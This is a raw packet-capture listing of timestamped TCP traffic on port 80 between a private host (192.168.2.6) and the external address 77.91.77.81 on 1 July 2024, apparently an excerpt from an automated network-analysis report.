Jul 1, 2024 07:20:51.550072908 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550093889 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550107002 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550116062 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550122023 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.550144911 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.550223112 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550234079 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550246954 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550259113 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550261974 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.550271034 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550282955 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550299883 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.550331116 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.550395012 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550407887 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550441027 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.550554991 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550564051 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550575018 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550585985 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550596952 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550596952 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.550607920 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550620079 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550621986 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.550631046 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550643921 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.550647974 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550664902 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.550682068 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.550844908 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550863028 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550873995 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550889015 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550896883 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.550900936 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550914049 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550924063 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.550937891 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.550954103 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.551103115 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551114082 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551126003 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551143885 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.551171064 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.551220894 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551232100 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551249027 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551251888 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.551261902 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551273108 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551282883 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.551282883 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551295996 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551311016 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.551336050 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.551455021 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551465988 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551476002 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551501989 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.551529884 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.551614046 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551625013 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551635027 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551651001 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551656961 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.551661968 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551672935 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551683903 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551685095 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.551696062 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551702023 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.551707029 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551718950 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551728964 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.551728964 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551745892 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551748991 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.551758051 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551768064 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551769018 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.551779985 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551793098 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.551801920 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.551832914 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.552213907 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.552232027 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.552242994 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.552253962 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.552256107 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.552265882 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.552273989 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.552295923 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.575294971 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.575305939 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.575318098 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.575328112 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.575344086 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.575371981 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.575398922 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.575423002 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.575433969 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.575436115 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.575444937 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.575467110 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.575491905 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.575526953 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.575547934 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.575560093 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.575589895 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.575629950 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.575660944 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.575678110 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.575690985 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.575694084 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.575783968 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.575783968 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.575797081 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.575829029 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.609920979 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.609965086 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.609967947 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.609981060 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.609997988 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.610002995 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.610023022 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.610042095 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.610097885 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.610109091 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.610120058 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.610130072 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.610141993 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.610142946 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.610152006 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.610187054 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.610348940 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.610358953 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.610390902 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.610405922 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.610436916 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.610445976 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.610447884 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.610471964 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.610574961 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.610585928 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.610596895 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.610606909 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.610613108 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.610625982 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.610625982 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.610687017 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.610718012 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.610729933 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.610739946 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.610749006 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.610770941 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.641280890 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.641292095 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.641302109 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.641318083 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.641350031 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.641367912 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.641377926 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.641407967 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.641434908 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.641448021 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.641484022 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.642884970 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.642894983 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.642900944 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.642934084 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.642970085 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.642980099 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.642990112 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.642999887 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.643004894 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643032074 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.643057108 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.643104076 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643117905 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643151999 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.643167973 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643177986 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643199921 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.643225908 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.643275976 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643285036 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643290043 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643300056 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643309116 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643315077 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.643348932 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.643429041 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643440008 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643450975 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643486977 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.643510103 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643549919 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.643613100 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643623114 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643632889 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643637896 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643649101 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643657923 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.643660069 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643691063 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.643740892 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.643867016 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643877983 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643887043 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643897057 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643907070 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643908978 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.643918037 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643929958 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.643934011 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.643961906 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.644141912 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644160986 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644166946 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644181013 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644186974 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.644192934 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644203901 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644216061 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644216061 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.644228935 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644249916 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644252062 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.644269943 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.644294024 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.644489050 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644500971 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644511938 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644521952 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.644521952 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644536018 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644543886 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.644548893 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644560099 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644570112 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644572020 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.644581079 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644592047 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.644599915 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644612074 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.644612074 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644625902 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644633055 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.644635916 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644660950 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.644690037 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.644875050 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644885063 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644893885 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644910097 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644913912 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.644921064 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644931078 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.644947052 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.644964933 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.645155907 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.645165920 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.645175934 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.645185947 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.645195007 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.645195961 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.645207882 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.645214081 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.645220041 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.645230055 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.645232916 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.645241976 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.645251989 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.645263910 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.645266056 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.645294905 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.668473005 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.668489933 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.668499947 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.668556929 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.668585062 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.668587923 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.668600082 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.668610096 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.668631077 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.668636084 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.668648958 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.668677092 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.668755054 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.668766022 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.668775082 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.668783903 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.668797016 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.668828964 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.668898106 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.668908119 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.668917894 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.668935061 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.668951988 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.703010082 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.703021049 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.703031063 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.703073978 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.703082085 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.703094006 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.703104019 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.703110933 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.703135014 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.703161001 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.703162909 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.703180075 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.703200102 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.703216076 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.703250885 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.703275919 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.703285933 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.703285933 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.703305960 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.703325033 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.703372955 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.703383923 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.703393936 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.703418970 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.703444004 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.703488111 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.703494072 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.703495979 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.703501940 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.703526020 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.703558922 CEST	49714	80	192.168.2.6	77.91.77.81
